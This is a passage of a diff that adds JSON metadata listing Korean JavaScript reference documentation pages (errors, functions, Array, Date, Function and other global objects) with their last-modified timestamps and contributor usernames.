+    "modified": "2020-03-12T19:44:36.352Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Strict_Non_Simple_Params": {
+    "modified": "2020-03-12T19:47:43.886Z",
+    "contributors": [
+      "SSJ-unclear"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Too_much_recursion": {
+    "modified": "2020-03-12T19:44:33.119Z",
+    "contributors": [
+      "Kaben",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Undeclared_var": {
+    "modified": "2020-03-12T19:44:33.741Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Undefined_prop": {
+    "modified": "2020-03-12T19:44:33.728Z",
+    "contributors": [
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Unexpected_token": {
+    "modified": "2020-03-12T19:44:11.696Z",
+    "contributors": [
+      "ChangSungsil"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Unexpected_type": {
+    "modified": "2020-03-12T19:45:33.484Z",
+    "contributors": [
+      "yura-Choi"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/Unnamed_function_statement": {
+    "modified": "2020-03-12T19:48:26.448Z",
+    "contributors": [
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Errors/is_not_iterable": {
+    "modified": "2020-03-12T19:48:24.798Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions": {
+    "modified": "2020-10-15T21:37:58.963Z",
+    "contributors": [
+      "harryjjun",
+      "Dailyscat",
+      "limkukhyun",
+      "alattalatta",
+      "Netaras",
+      "sftblw"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/Default_parameters": {
+    "modified": "2020-10-15T21:45:58.179Z",
+    "contributors": [
+      "honggaruy",
+      "gbyman",
+      "kbsbroad",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/Method_definitions": {
+    "modified": "2020-03-12T19:44:05.728Z",
+    "contributors": [
+      "kdex",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/arguments": {
+    "modified": "2020-10-15T21:38:47.452Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "tmxkwkfgka"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/arguments/@@iterator": {
+    "modified": "2020-10-15T22:12:01.387Z",
+    "contributors": [
+      "alattalatta",
+      "vividhee"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/arguments/callee": {
+    "modified": "2020-03-12T19:44:03.622Z",
+    "contributors": [
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/arguments/length": {
+    "modified": "2020-10-15T21:48:18.638Z",
+    "contributors": [
+      "alattalatta",
+      "magnoliaa"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/get": {
+    "modified": "2020-10-15T21:48:28.043Z",
+    "contributors": [
+      "SSJ-unclear",
+      "DGURI",
+      "NessunKim"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/rest_parameters": {
+    "modified": "2020-10-15T21:46:03.879Z",
+    "contributors": [
+      "Geun-Hyung_Kim",
+      "cs09g",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/set": {
+    "modified": "2020-03-12T19:44:54.074Z",
+    "contributors": [
+      "daehyoung"
+    ]
+  },
+  "Web/JavaScript/Reference/Functions/애로우_펑션": {
+    "modified": "2020-10-15T21:39:57.499Z",
+    "contributors": [
+      "honggaruy",
+      "Vimming",
+      "songdoing",
+      "gbyman",
+      "yonggoo.noh",
+      "jjangga0214",
+      "geunhyung",
+      "limkukhyun",
+      "kangsan_Chang",
+      "nyaawlsh",
+      "daehyoung",
+      "Geun-Hyung_Kim",
+      "Netaras",
+      "preco21",
+      "chiyodad",
+      "Jeeeyul"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects": {
+    "modified": "2020-08-05T00:51:40.442Z",
+    "contributors": [
+      "alattalatta",
+      "loslch",
+      "skyfly33",
+      "Netaras",
+      "cs09g",
+      "Rachel0211",
+      "teoli"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/AggregateError": {
+    "modified": "2020-11-15T04:22:22.892Z",
+    "contributors": [
+      "Donghoon"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array": {
+    "modified": "2020-10-15T21:18:12.731Z",
+    "contributors": [
+      "kwangdosa",
+      "alattalatta",
+      "wbamberg",
+      "limkukhyun",
+      "sominlee",
+      "HanuLatte",
+      "joeunha",
+      "maytree",
+      "VBChunguk",
+      "JaegangLee",
+      "teoli",
+      "taggon",
+      "Aeuiop"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/@@iterator": {
+    "modified": "2020-10-15T21:43:02.789Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "hwangtan",
+      "."
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/@@species": {
+    "modified": "2020-10-15T21:50:41.909Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/@@unscopables": {
+    "modified": "2020-10-15T21:50:41.776Z",
+    "contributors": [
+      "alattalatta",
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/Array": {
+    "modified": "2020-10-15T22:26:58.481Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/Reduce": {
+    "modified": "2020-10-15T21:41:30.424Z",
+    "contributors": [
+      "alattalatta",
+      "dolmoon",
+      "KisukPark",
+      "ieay4a",
+      "Violetdusk",
+      "Netaras",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/ReduceRight": {
+    "modified": "2020-10-15T21:50:39.970Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/concat": {
+    "modified": "2020-10-15T21:38:49.144Z",
+    "contributors": [
+      "RamiTae",
+      "bohyun611kim",
+      "alattalatta",
+      "KisukPark",
+      "VBChunguk",
+      "tmxkwkfgka"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/copyWithin": {
+    "modified": "2020-10-15T21:50:40.123Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "withdude2",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/entries": {
+    "modified": "2020-10-15T21:41:29.970Z",
+    "contributors": [
+      "honggaruy",
+      "alattalatta",
+      "KisukPark",
+      "SphinxKnight",
+      "keypointer",
+      "kdex",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/every": {
+    "modified": "2020-10-15T21:41:30.327Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "limkukhyun",
+      "Netaras",
+      "Kaben",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/fill": {
+    "modified": "2020-10-15T21:36:43.146Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "SphinxKnight",
+      "withdude2",
+      "ligeek"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/filter": {
+    "modified": "2020-10-15T21:41:17.863Z",
+    "contributors": [
+      "RamiTae",
+      "alattalatta",
+      "bohyun611kim",
+      "pineoc",
+      "jewon",
+      "limkukhyun",
+      "KisukPark",
+      "Saem",
+      "Netaras",
+      "rageboom",
+      "Yunhong-Min",
+      "keypointer"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/find": {
+    "modified": "2020-10-15T21:48:55.826Z",
+    "contributors": [
+      "alattalatta",
+      "QooQooDass",
+      "KisukPark",
+      "sonjh02",
+      "meganson",
+      "yuntaek",
+      "Jaysok"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/findIndex": {
+    "modified": "2020-10-15T21:50:40.640Z",
+    "contributors": [
+      "hyoni0817",
+      "Hyeok_Jo",
+      "alattalatta",
+      "KisukPark",
+      "sonjh02",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/flat": {
+    "modified": "2020-10-15T22:08:27.831Z",
+    "contributors": [
+      "alattalatta",
+      "moonformeli",
+      "cs09g"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/flatMap": {
+    "modified": "2020-10-15T22:08:28.496Z",
+    "contributors": [
+      "DaegiKim",
+      "24seconds",
+      "moonformeli",
+      "alattalatta",
+      "cs09g"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/forEach": {
+    "modified": "2020-10-15T21:47:39.068Z",
+    "contributors": [
+      "alattalatta",
+      "RootyJin",
+      "jeongchaeuk",
+      "Parcovia",
+      "limkukhyun",
+      "KisukPark",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/from": {
+    "modified": "2020-10-15T21:37:56.478Z",
+    "contributors": [
+      "alattalatta",
+      "Violet-Bora-Lee",
+      "KisukPark",
+      "SphinxKnight",
+      "디토",
+      "ligeek"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/includes": {
+    "modified": "2020-10-15T21:50:39.977Z",
+    "contributors": [
+      "IMHOJEONG",
+      "alattalatta",
+      "KisukPark",
+      "KlausLee",
+      "khsiea",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/indexOf": {
+    "modified": "2020-10-15T21:50:40.883Z",
+    "contributors": [
+      "biniruu",
+      "naraeim",
+      "alattalatta",
+      "KisukPark",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/isArray": {
+    "modified": "2020-10-15T21:41:14.689Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "KaironMoon",
+      "keypointer",
+      "johngrib"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/join": {
+    "modified": "2020-10-15T21:41:15.362Z",
+    "contributors": [
+      "shj9432",
+      "alattalatta",
+      "KisukPark",
+      "VBChunguk"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/keys": {
+    "modified": "2020-10-15T21:41:30.210Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "SphinxKnight",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf": {
+    "modified": "2020-10-15T21:50:40.016Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/length": {
+    "modified": "2020-10-15T21:41:28.876Z",
+    "contributors": [
+      "alattalatta",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/map": {
+    "modified": "2020-10-15T21:36:42.699Z",
+    "contributors": [
+      "seulgiyoon",
+      "alattalatta",
+      "KisukPark",
+      "sshplendid",
+      "selfiens",
+      "the1900",
+      "reoim",
+      "Yunhong-Min",
+      "sominlee",
+      "Rokt33r",
+      "epicsaga"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/of": {
+    "modified": "2020-10-15T21:36:39.776Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "limkukhyun",
+      "ligeek"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/pop": {
+    "modified": "2020-10-15T21:47:37.008Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/push": {
+    "modified": "2020-10-15T21:39:22.145Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "dsma73",
+      "Hoto-Cocoa",
+      "nohsenc",
+      "dewey94esb"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/reverse": {
+    "modified": "2020-10-15T21:41:28.622Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/shift": {
+    "modified": "2020-10-15T21:38:19.399Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "DeusNonEst",
+      "FlowerCoing"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/slice": {
+    "modified": "2020-10-15T21:48:35.659Z",
+    "contributors": [
+      "alattalatta",
+      "Georgee-lee",
+      "KisukPark",
+      "cs09g",
+      "AlexMin",
+      "imskojs",
+      "dale0713"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/some": {
+    "modified": "2020-10-15T21:47:53.706Z",
+    "contributors": [
+      "kimkyeseung",
+      "alattalatta",
+      "KisukPark",
+      "kyunooh",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/sort": {
+    "modified": "2020-10-15T21:50:40.023Z",
+    "contributors": [
+      "IvannKim",
+      "yami03",
+      "alattalatta",
+      "KisukPark",
+      "dsma73",
+      "seokju-na",
+      "apple77y",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/splice": {
+    "modified": "2020-10-15T21:37:48.347Z",
+    "contributors": [
+      "alattalatta",
+      "selfiens",
+      "KisukPark",
+      "wonhoKim",
+      "laranhee",
+      "Jei",
+      "Rokt33r"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/toLocaleString": {
+    "modified": "2020-10-15T21:47:37.995Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/toSource": {
+    "modified": "2020-10-15T22:00:47.617Z",
+    "contributors": [
+      "alattalatta",
+      "teoli",
+      "KisukPark",
+      "sonjh02"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/toString": {
+    "modified": "2020-10-15T21:47:38.270Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/unshift": {
+    "modified": "2020-10-15T21:41:30.420Z",
+    "contributors": [
+      "alattalatta",
+      "ChanwheKim",
+      "KisukPark",
+      "jisooyu",
+      "maytree"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/values": {
+    "modified": "2020-10-15T21:41:31.189Z",
+    "contributors": [
+      "alattalatta",
+      "KisukPark",
+      "SphinxKnight",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": {
+    "modified": "2020-10-15T21:31:34.913Z",
+    "contributors": [
+      "alattalatta",
+      "chaewonkong",
+      "niceilm",
+      "teoli",
+      "JiminP",
+      "yuby"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/ArrayBuffer": {
+    "modified": "2020-10-15T22:27:33.561Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/byteLength": {
+    "modified": "2020-10-15T22:27:34.550Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/isView": {
+    "modified": "2020-10-15T22:27:32.623Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/ArrayBuffer/slice": {
+    "modified": "2020-10-15T22:27:35.359Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/AsyncFunction": {
+    "modified": "2020-10-15T21:52:51.606Z",
+    "contributors": [
+      "ibizcox",
+      "jooddang",
+      "limkukhyun",
+      "ChanghwaLee"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Atomics": {
+    "modified": "2019-03-23T22:18:58.236Z",
+    "contributors": [
+      "RyuJin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/BigInt": {
+    "modified": "2020-10-15T22:12:37.942Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/BigInt/BigInt": {
+    "modified": "2020-10-15T22:25:40.633Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/BigInt/prototype": {
+    "modified": "2020-10-15T22:12:31.982Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Boolean": {
+    "modified": "2020-10-15T21:14:40.981Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "teoli",
+      "Gilchris"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Boolean/Boolean": {
+    "modified": "2020-10-15T22:27:46.206Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Boolean/prototype": {
+    "modified": "2020-10-15T21:43:28.882Z",
+    "contributors": [
+      "alattalatta",
+      "noritersand"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Boolean/toString": {
+    "modified": "2020-10-15T22:11:53.952Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Boolean/valueOf": {
+    "modified": "2020-10-15T22:11:54.035Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/DataView": {
+    "modified": "2020-10-15T21:42:40.867Z",
+    "contributors": [
+      "alattalatta",
+      "KKang",
+      "ksyeng"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/DataView/DataView": {
+    "modified": "2020-10-15T22:27:25.683Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date": {
+    "modified": "2020-10-15T21:18:35.817Z",
+    "contributors": [
+      "alattalatta",
+      "wbamberg",
+      "dsma73",
+      "Shin-JaeHeon",
+      "seungha-kim",
+      "seokju-na",
+      "teoli",
+      "taggon"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/UTC": {
+    "modified": "2020-10-15T21:50:44.435Z",
+    "contributors": [
+      "alattalatta",
+      "inpyoj",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getDate": {
+    "modified": "2020-10-15T21:50:41.680Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getDay": {
+    "modified": "2020-10-15T21:50:41.587Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": {
+    "modified": "2020-10-15T21:50:41.498Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getHours": {
+    "modified": "2020-10-15T21:50:41.097Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": {
+    "modified": "2020-10-15T21:50:43.734Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": {
+    "modified": "2020-10-15T21:50:41.182Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getMonth": {
+    "modified": "2020-10-15T21:50:42.376Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": {
+    "modified": "2020-10-15T21:50:44.137Z",
+    "contributors": [
+      "alattalatta",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getTime": {
+    "modified": "2019-03-23T22:23:15.546Z",
+    "contributors": [
+      "hyeonseok",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": {
+    "modified": "2019-03-23T22:23:13.145Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCDate": {
+    "modified": "2019-03-23T22:23:20.825Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCDay": {
+    "modified": "2019-03-23T22:23:16.136Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCFullYear": {
+    "modified": "2019-03-23T22:23:15.265Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCHours": {
+    "modified": "2019-03-23T22:23:09.557Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCMilliseconds": {
+    "modified": "2019-03-23T22:23:07.710Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCMinutes": {
+    "modified": "2019-03-23T22:23:18.026Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCMonth": {
+    "modified": "2019-03-23T22:23:10.004Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getUTCSeconds": {
+    "modified": "2019-03-23T22:23:16.588Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/now": {
+    "modified": "2019-03-23T22:29:50.058Z",
+    "contributors": [
+      "g6ling",
+      "dale0713"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/parse": {
+    "modified": "2019-03-23T22:23:12.000Z",
+    "contributors": [
+      "sung-ugje",
+      "galcyurio",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/prototype": {
+    "modified": "2020-10-15T21:34:44.080Z",
+    "contributors": [
+      "alattalatta",
+      "Cho.Eun",
+      "ByungChangCha",
+      "teoli"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setDate": {
+    "modified": "2019-03-23T22:23:20.668Z",
+    "contributors": [
+      "swtpumpkin",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setFullYear": {
+    "modified": "2019-03-23T22:23:19.509Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setHours": {
+    "modified": "2019-03-23T22:23:20.495Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setMilliseconds": {
+    "modified": "2019-03-23T22:23:19.297Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setMinutes": {
+    "modified": "2019-03-23T22:23:09.852Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setMonth": {
+    "modified": "2019-03-23T22:23:18.765Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setSeconds": {
+    "modified": "2019-03-23T22:23:08.456Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setTime": {
+    "modified": "2019-03-23T22:23:22.849Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setUTCDate": {
+    "modified": "2019-03-23T22:23:22.400Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setUTCFullYear": {
+    "modified": "2019-03-23T22:23:12.168Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setUTCHours": {
+    "modified": "2019-03-23T22:23:12.991Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setUTCMilliseconds": {
+    "modified": "2019-03-23T22:23:21.549Z",
+    "contributors": [
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setUTCMinutes": {
+    "modified": "2019-03-23T22:23:11.774Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setUTCMonth": {
+    "modified": "2019-03-23T22:23:12.673Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/setUTCSeconds": {
+    "modified": "2019-03-23T22:23:22.693Z",
+    "contributors": [
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/toDateString": {
+    "modified": "2020-10-15T21:50:42.628Z",
+    "contributors": [
+      "alattalatta",
+      "inkyungkim",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/toISOString": {
+    "modified": "2020-10-15T22:09:03.975Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/toJSON": {
+    "modified": "2020-10-15T22:09:05.629Z",
+    "contributors": [
+      "alattalatta"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/toString": {
+    "modified": "2020-10-15T21:56:46.065Z",
+    "contributors": [
+      "alattalatta",
+      "huseong"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/valueOf": {
+    "modified": "2020-10-15T22:22:09.213Z",
+    "contributors": [
+      "Jihyun_LEE"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Error": {
+    "modified": "2020-10-15T21:23:09.336Z",
+    "contributors": [
+      "alattalatta",
+      "sunhyung",
+      "teoli",
+      "john_jung"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Error/name": {
+    "modified": "2020-10-15T22:01:04.562Z",
+    "contributors": [
+      "goeo1066"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/EvalError": {
+    "modified": "2020-10-15T21:50:41.406Z",
+    "contributors": [
+      "alattalatta",
+      "zziuni",
+      "imskojs"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function": {
+    "modified": "2020-10-15T21:18:08.765Z",
+    "contributors": [
+      "alattalatta",
+      "moolow",
+      "dolmoon",
+      "Netaras",
+      "teoli",
+      "HunminKim",
+      "Wafe"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/apply": {
+    "modified": "2020-10-15T21:36:42.231Z",
+    "contributors": [
+      "limsungho02",
+      "cs09g",
+      "jeongchaeuk",
+      "alattalatta",
+      "jaewanC",
+      "bsidesoft"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/arguments": {
+    "modified": "2020-10-15T22:04:18.058Z",
+    "contributors": [
+      "Seonghui",
+      "sunhyun"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/bind": {
+    "modified": "2020-10-15T21:38:38.554Z",
+    "contributors": [
+      "dezcao",
+      "dae-hwa",
+      "alattalatta",
+      "limkukhyun",
+      "AlexMin",
+      "dale0713",
+      "joeunha",
+      "Netaras",
+      "sftblw",
+      "zuckay79",
+      "jjhangu"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/call": {
+    "modified": "2020-10-15T21:19:34.146Z",
+    "contributors": [
+      "dasbeerboot",
+      "paikwiki",
+      "Netaras",
+      "stitchworkingonthecode",
+      "ligeek",
+      "jjhangu",
+      "teoli",
+      "ByungChangYoo",
+      "Jeado.Ko"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/length": {
+    "modified": "2020-10-15T21:36:48.277Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras",
+      "bsidesoft"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/name": {
+    "modified": "2019-03-23T22:54:09.088Z",
+    "contributors": [
+      "Netaras",
+      "bsidesoft"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/toSource": {
+    "modified": "2020-10-15T22:15:36.685Z",
+    "contributors": [
+      "cs09g"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Generator": {
+    "modified": "2019-10-07T03:49:08.925Z",
+    "contributors": [
+      "stegano",
+      "Latera",
+      "loslch",
+      "kdex",
+      "preco21"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Generator/next": {
+    "modified": "2019-03-23T22:29:43.014Z",
+    "contributors": [
+      "echo304"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Generator/return": {
+    "modified": "2019-03-23T22:29:41.659Z",
+    "contributors": [
+      "echo304"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Generator/throw": {
+    "modified": "2020-10-15T21:47:52.236Z",
+    "contributors": [
+      "alattalatta",
+      "echo304"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/GeneratorFunction": {
+    "modified": "2020-10-15T21:43:23.835Z",
+    "contributors": [
+      "alattalatta",
+      "HyunMook",
+      "AHNJAEHA"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Infinity": {
+    "modified": "2020-10-15T21:44:39.467Z",
+    "contributors": [
+      "alattalatta",
+      "Netaras"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/InternalError": {
